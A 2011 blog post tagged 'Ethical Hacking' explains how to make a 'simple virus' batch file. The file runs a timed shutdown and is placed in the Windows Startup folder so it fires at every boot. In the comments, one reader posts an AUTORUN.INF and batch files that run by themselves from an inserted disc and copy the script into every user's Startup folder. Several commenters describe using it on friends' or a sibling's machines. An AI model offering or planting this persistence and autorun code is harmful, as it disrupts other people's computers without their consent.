Create a Simple Virus

10
Posted May 28, 2011 by Jitesh Golecha in Ethical Hacking

You can Create a simple Virus that won’t harm your computer majorly.

Follow the simple steps ahead:

  • open a notepad.
  • type “shutdown -s -t 60 -c “your msg” “
  • save the file as shutdown.bat
  • after saving the file, drag it to Start menu -> All Programs -> Startup
  • Restart your computer and see the magic.

Let me explain how it works:

The command shutdown is used in cmd prompt. So we have saved the file in .bat format. .bat file stands for batch file. When batch file runs, the command prompt intercepts its commands. Shutdown is a command that shut down the system. Most of the commands have attributes as in the below command.

shutdown -s -t 60 -c “your msg”

-s is used for shut down without power off
-t is used to set the time to execute the shutdown command
-c is used to set any warning message to the user of system.

You can download the simple virus file from here.

This is not a real virus.


About the Author

Jitesh Golecha

I'm Jitesh, a blogger and web designer by profession from "India".

10 Comments


  1.  

    Really it is a nice trick..
    I used to use this trick in my friends lappy. :)




  2.  

    its a silly trick whats this posting unwanted items




  3.  

    you can even try this , its more scarier and automated. Just burn a disc with the below given 3 files AUTORUN.INF , setup.bat and virus.bat

    AUTORUN.INF should contain the below code
    —–>
    [AutoRun]
    open=virus.bat
    icon=anto.ico”

    copy virus.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\virus.bat”
    shutdown -s -t 30 -c “your prank message”

    shutdown -s -t 30 -c “your prank message”
    <—–

    Now after burning this on your disc just insert the disc into cd drive or dvd drive ….. you are done… :D This may work for any windows os which is installed in C drive…. :D

    regards,
    antodoms
    antodoms recently posted..How To Create Your Own Free Proxy Website ?




  4.  

    your welcome buddy , but i have send another comment after this comment….. in the coment you approved , its not clear which one is setup.bat and which one is virus.bat…. can remuv that and add the 2nd coment i send or edit this comment and approve the coment below written in chords…..

    ” you can even try this , its more scarier and automated. Just burn a disc with the below given 3 files AUTORUN.INF , setup.bat and virus.bat

    AUTORUN.INF should contain the below code
    —–—————————————
    [AutoRun]
    open=virus.bat
    icon=anto.ico”
    ————————————————-

    Setup.bat should contain the below code
    —————————————————-
    copy virus.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\virus.bat”
    shutdown -s -t 30 -c “your prank message”
    —————————————-

    and virus.bat should contain the below code
    ——————————————
    shutdown -s -t 30 -c “your prank message”
    ———————————–—–

    Now after burning this on your disc just insert the disc into cd drive or dvd drive ….. you are done… This may work for any windows os which is installed in C drive….

    regards,
    antodoms ”
    antodoms recently posted..How To Create Your Own Free Proxy Website ?




  5.  

    Gonna play with on my friends computer… good one…
    kunalneeli recently posted..Unexplained Interesting Facts About Microsoft Windows




  6.  

    old but one of the best tricks ever :D can do wonders if done to a non techy person..
    karan recently posted..See How Your Website Looks On Different Devices




  7.  

    OMG!! is this virus ? its too simple to develop ah? i’m gonna test it..
    Droid Guy recently posted..How to Root Motorola Droid RAZR with one click method




  8.  

    I tested your “virus” at my sisters notebook, now she hates me more :-)





Leave a Response

(required)


CommentLuv badge